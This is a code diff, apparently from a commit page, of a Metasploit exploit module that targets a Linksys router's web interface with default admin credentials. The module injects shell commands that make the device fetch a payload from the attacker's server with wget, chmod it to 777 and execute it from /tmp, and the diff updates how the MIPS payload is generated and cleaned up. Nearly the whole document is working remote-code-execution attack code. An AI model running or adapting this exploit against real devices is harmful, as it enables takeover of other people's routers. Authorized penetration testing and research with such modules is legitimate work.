@@ -12,6 +12,8 @@ class Metasploit3 < Msf::Exploit::Remote
12
12
13
13
include Msf ::Exploit ::Remote ::HttpClient
14
14
include Msf ::Exploit ::Remote ::HttpServer
15
+ include Msf ::Exploit ::EXE
16
+ include Msf ::Exploit ::FileDropper
15
17
16
18
def initialize ( info = { } )
17
19
super ( update_info ( info ,
@@ -39,13 +41,32 @@ def initialize(info = {})
39
41
'Arch' => ARCH_CMD ,
40
42
'Platform' => 'unix' ,
41
43
#only payload cmd/unix/generic should be possible
44
+ 'Payload' =>
45
+ {
46
+ 'Compat' =>
47
+ {
48
+ #not working :(
49
+ 'PayloadType' => 'cmd' ,
50
+ 'RequiredCmd' => 'generic'
51
+ }
52
+ } ,
42
53
}
43
54
] ,
44
55
[ 'Linux Payload' ,
45
56
{
46
57
'Arch' => ARCH_MIPSLE ,
47
58
'Platform' => 'linux' ,
48
59
'DisableNops' => true ,
60
+ #only mipsel payloads working ...
61
+ 'Payload' =>
62
+ {
63
+ 'Compat' =>
64
+ {
65
+ #not working :(
66
+ 'PayloadType' => 'mipsle' ,
67
+ 'RequiredCmd' => 'shell'
68
+ }
69
+ } ,
49
70
}
50
71
] ,
51
72
] ,
@@ -59,7 +80,7 @@ def initialize(info = {})
59
80
OptString . new ( 'PASSWORD' , [ true , 'The password for the specified username' , 'admin' ] ) ,
60
81
OptString . new ( 'DOWNHOST' , [ false , 'The host to request the MIPS payload from' ] ) ,
61
82
OptString . new ( 'DOWNFILE' , [ false , 'Filename to download, (default: random)' ] ) ,
62
- OptString . new ( 'SRVHOST' , [ true , 'The local host to listen on. This must be an address on the local machine' ] ) ,
83
+ OptString . new ( 'SRVHOST' , [ true , 'The local host to listen on. This must be an address on the local machine (do not use 0.0.0.0) ' ] ) ,
63
84
] , self . class )
64
85
end
65
86
@@ -130,17 +151,14 @@ def exploit
130
151
end
131
152
132
153
if target . name =~ /CMD/
154
+
133
155
cmd = payload . encoded
134
156
request ( cmd , user , pass , uri )
157
+
135
158
else
136
159
#lets get some shells ...
137
160
138
- # We must regenerate the payload-> not sure if this is the right way
139
- arch = "ARCH_MIPSLE"
140
- plat = "linux"
141
- p = exploit_regenerate_payload ( plat , arch )
142
-
143
- @pl = p . encoded_exe
161
+ @pl = generate_payload_exe
144
162
145
163
#
146
164
# start our server
@@ -150,7 +168,7 @@ def exploit
150
168
if ( datastore [ 'DOWNHOST' ] )
151
169
service_url = 'http://' + datastore [ 'DOWNHOST' ] + ':' + datastore [ 'SRVPORT' ] . to_s + resource_uri
152
170
else
153
- #easy way ... do not use SSL ;)
171
+ #do not use SSL ;)
154
172
if datastore [ 'SSL' ]
155
173
ssl_restore = true
156
174
datastore [ 'SSL' ] = false
@@ -169,32 +187,34 @@ def exploit
169
187
end
170
188
171
189
print_status ( "#{ rhost } :#{ rport } - Asking the Linksys device to download #{ service_url } " )
172
-
190
+
173
191
#this filename is used to store the payload on the device
174
192
filename = rand_text_alpha_lower ( 8 )
175
-
193
+ register_file_for_cleanup ( "/tmp/#{ filename } " )
194
+
195
+ #not working if we send all command together -> lets take three requests
176
196
cmd = "/usr/bin/wget #{ service_url } -O /tmp/#{ filename } "
177
-
197
+
178
198
request ( cmd , user , pass , uri )
179
-
199
+
180
200
#
181
201
# chmod
182
202
#
183
-
203
+
184
204
cmd = "chmod 777 /tmp/#{ filename } "
185
-
205
+
186
206
print_status ( "#{ rhost } :#{ rport } - Asking the Linksys device to prepare #{ downfile } " )
187
-
207
+
188
208
request ( cmd , user , pass , uri )
189
-
209
+
190
210
#
191
211
# execute
192
212
#
193
-
213
+
194
214
cmd = "/tmp/#{ filename } "
195
-
215
+
196
216
print_status ( "#{ rhost } :#{ rport } - Asking the Linksys device to execute #{ downfile } " )
197
-
217
+
198
218
request ( cmd , user , pass , uri )
199
219
end
200
220
0 commit comments